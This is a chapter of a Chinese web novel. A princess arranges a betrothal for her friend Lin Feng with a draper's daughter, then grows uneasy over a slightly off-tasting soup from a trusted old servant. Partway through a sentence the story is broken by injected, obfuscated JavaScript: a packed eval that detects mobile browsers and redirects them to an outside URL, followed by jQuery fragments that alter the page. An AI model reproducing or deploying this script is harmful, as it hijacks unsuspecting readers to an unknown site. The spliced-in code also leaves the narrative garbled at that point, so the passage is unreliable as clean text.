连日来,唐砚礼对温珩的踪迹及其背景的追查,虽未竟全功,却也并非一无所获。
所有明面上的线索都在指向温珩那被精心修饰过的、单薄而孤立的身份,仿佛他真是凭空出现,又凭空消失。
然而,正是这种过分彻底的“干净”,让唐砚礼确信,有一股强大的力量在为其扫清一切痕迹。
这股力量不仅能驱使如“夜枭”般诡秘的江湖组织为其善后,更能将一个人的过去抹得如此不着痕迹,其掌控的资源与在暗处的能量,令人心惊。
温珩,或许不过是被推到前台的一枚棋子,甚至可能是一枚即将被舍弃的棋子。
真正的对弈者,依旧隐藏在深不见底的迷雾之后。
*
公主的仪仗驾临小小的白家绸缎庄,那排场和气派,足以让整个西市都侧目。
白掌柜诚惶诚恐地将唐月迎进内堂,那位惹事的王书桓表哥也在,此刻脸色发白,缩在角落,一点不见之前的趾高气扬。
唐月端坐上首,慢条斯理地品着茶,看也不看那王书桓一眼,只对着白掌柜温和道:
“白掌柜不必紧张。本宫今日来,是听闻贵府千金白芷姑娘蕙质兰心,性子温婉,甚合本宫眼缘。恰好府中一位贵客——”
她目光扫过旁边换上崭新锦袍、努力做出沉稳姿态的林风,差点没憋住笑,道:“与令嫒也颇为投契。年轻人嘛,情投意合本是美事。本宫瞧着欢喜,便厚着脸皮,想来做个中人。”
她语气虽然平淡,但光是她身份的这个分量,足以让白掌柜额头冒汗。
他哪里还不明白,自家女儿这是入了公主的眼缘,攀上了高枝。
至于那个之前在他面前诋毁林风的外甥……白掌柜狠狠瞪了王书桓一眼,恨不得立刻把他扫地出门。
“能…能得殿下青眼,是小女几辈子修来的福分!”白掌柜激动得声音发颤,“小女能得殿下府中贵客垂青,更是天大的造化!草民……草民绝无二话!”
他哪里还敢有二话?公主亲自登门做中人,这是多大的体面!
唐月满意地点点头,这才将目光转向一旁紧张绞着帕子、被唤出来的白芷。
小姑娘生得清秀可人,此刻脸颊绯红,偷偷瞄了林风一眼,又飞快低下头。
“白芷姑娘,”唐月声音放柔了些,“本宫这朋友,虽出身……不算显赫,但为人赤诚,心地纯良,亦有几分才情。他待你之心,本宫看在眼里。不知你意下如何?”
白芷羞得头都抬不起来,声如蚊呐:“但凭……但凭殿下做主。”这态度,已是再明显不过。
林风在一旁笑得见牙不见眼,要不是顾忌场合,怕是要原地蹦起来。
唐月又敲打了几句“莫要听信小人挑拨”、“安心相处”之类的话,眼神意有所指地扫过王书桓,吓得他差点瘫软在地。
最后,唐月命小蝶将带来的蜀锦、苏缎和那套分量十足的金头面奉上,算是正式过了明路。
一场小小的风波,在公主的绝对权势下,消弭于无形,甚至变成了林家小子攀上高枝的喜事。
白掌柜欢天喜地,林风更是对唐月感激涕零。
回府的马车上,林风还在兴奋地手舞足蹈:“姐!你真是太牛了!那架势,那气场!那酸秀才脸都绿了!哈哈哈,痛快!以后小白芷就是我名正言顺的未婚妻了!”
唐月靠在软垫上,看着窗外熙攘的街市,心情也因解决了这桩小事而轻松了些许。
“行了,别得意忘形。我好歹是个中间人,你要是不好好对她,损了我名声,我第一个饶不了你。”
“放心放心,保证把她捧成小祖宗!”林风拍着胸脯保证,随即又贼兮兮地凑近,“姐,你看我这人生大事都定了,你有没有考虑在这个时代找一个如意郎君啊?”
唐月道:“这……我倒没想过,毕竟马上就要走了。话说,你不是也是马上就要走的人?怎么着,还想着在这结婚?”
林风道:“哎呀,姐,都是要走的人,难道我不能把她带走吗?我可是两辈子都没遇到过这么好的姑娘,我必须得跟她在一起!”
唐月皱眉:“你这不是祸害人家吗?而且万一她不同意呢?”
林风说:“哎呀,放心啦,我会想办法劝她的,要是她不同意,我就跟她留在这里!”
唐月不可思议:“你为了她,都能做到这种地步?”
林风一脸自豪了,大拇指指着自己,说:“想不到吧,你老弟我啊,可是个情种哩~”
唐月一时语塞,只能也给他竖了个大拇指。
她又道:“不过时机一到,我可是会走的,你确定你到时候不跟我一起走?”
林风说:“哎呀,这不还早吗?走一步看一步呗!”
“呵呵,心态真好。”
“过奖过奖。”
马车在公主府门前停稳,林风抢先一步跳下车,殷勤地替唐月打起车帘。
他一眼就瞧见了等在垂花门下的张婆和她手中的食盒。
“哟,张婆婆!”林风笑嘻嘻地凑过去,抽了抽鼻子,“又给咱姐开小灶呢?真香!有没有我的份啊?”
张婆笑着说:“有,有,灶上还温着呢,回头让丫鬟给林公子送去。”
“得嘞!谢谢婆婆,您老可真比亲奶奶还疼人!”林风嘴甜地奉承了一句,这才心满意足地冲着唐月挤挤眼,一溜烟跑回自己院子,怕是急着给白芷写情书去了。
唐月看着他的背影摇摇头,这才走向张婆。
“殿下回来了。”张婆笑容慈祥,眼角的皱纹都透着暖意。自三年前被唐月救下并厚待后,张婆的身体和精神是一日好过一日,对唐月更是感激涕零,视若再造恩人。
“张婆?天这么冷,您怎么出来了?”唐月连忙上前。
“老婆子惦记殿下,听说殿下出门了,就在这儿等等。刚炖了点甜汤,想着殿下冬日里喝点暖暖身子。”
张婆将食盒递给小蝶,布满老茧的手轻轻拍了拍唐月的手背,眼神里满是关切,“殿下看着气色不太好,要当心身子骨啊。府里上下都指着您呢。”
这朴实的关怀,让唐月一时有些感动,她反手握住张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403376|184367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婆粗糙却温暖的手,说:“谢谢,您费心了,我没事。”
不带夸张的,唐月觉得自从自己来到这副身体之后,算到如今,体重飙了至少有十斤。
就连林风也说她整个人看起来就格外丰腴健康。
尤其是天气一凉,不管是室内待久了,还是室外冷风一吹,脸颊都会呈现出一种红扑扑的颜色。
但这也让她一点藏不住“事”,身体稍微有一点不适,面色都会变化的很明显,看起来就会没有之前呈现出的红润。
这与唐砚礼则完全相反,他是不管身体如何,光看表面是看不大出来好坏,好像有一种魔力,只要他想,他都可以给你演出他想展现的状态。
“没事就好,没事就好。”张婆连连点头,“殿下凤体金贵,快些进去吧,天气还凉,千万别冻着了。汤要趁热喝。”
唐月应下:“嗯,好,我一定会喝的。”
等张婆离去后,看着张婆蹒跚离去的背影,唐月心中感慨。
确实让人心中温暖啊,也怪不得唐砚礼会视她如亲人,毕竟人心都是肉做的,谁会完全不喜欢一个全心全意对自己好的人呢?
她叮嘱小蝶:“张婆年岁大了,以后让她在屋里歇着就好,别总往外跑。”又交代:“她需要什么,都给她备最好的。”
“是,殿下,奴婢记下了。”小蝶应道。
回到温暖的寝殿,小蝶将食盒里的甜汤取出。
那是一碗色泽莹润的银耳雪梨汤,点缀着几颗红艳的枸杞,热气腾腾,散发着清甜的香气,一看就用了上好的材料,炖足了火候。
唐月端起碗,舀了一勺送入口中。
温热的汤水滑入喉咙,本该是清润甘甜的味道,然而……一丝极其细微的、难以言喻的涩麻感,却在舌尖悄然蔓延开来,转瞬即逝。
唐月动作一顿,微微蹙眉。
是张婆年纪大了,味觉有些失调,糖放少了?还是……她最近思虑过重,味觉也跟着出了问题?
她放下瓷勺,眉心微蹙,指尖无意识地摩挲着温热的碗壁。
“小蝶,”她唤道,“这汤……张婆送过来时,可有什么人经手?”
小蝶正整理着唐月刚换下的披风,闻言一愣,仔细回想道:“回殿下,张婆是亲自提着食盒在垂花门等您的,奴婢接过来后就直接送到您这儿了,路上并未假手他人。食盒的盖子也盖得严严实实。”
她看着唐月略显凝重的神色,小心翼翼地问:“殿下,可是汤的味道……不合心意?”
唐月摇了摇头,将那点疑虑压下去:“没什么,许是我今日胃口不佳。”
她不愿因这点微末小事就去疑心那位饱经风霜、对她满怀善意的老人。
她强迫自己又喝了几口,那丝异样似乎真的消失了,只剩下温润的甜。
“收了吧。”唐月将还剩小半碗的汤碗推开,打了个呵欠。
小蝶应声上前收拾。夜色渐深,公主府内灯火次第亮起。
唐月靠在软榻上,本想再看会儿书,眼皮却沉重得直打架,过会便直接睡了。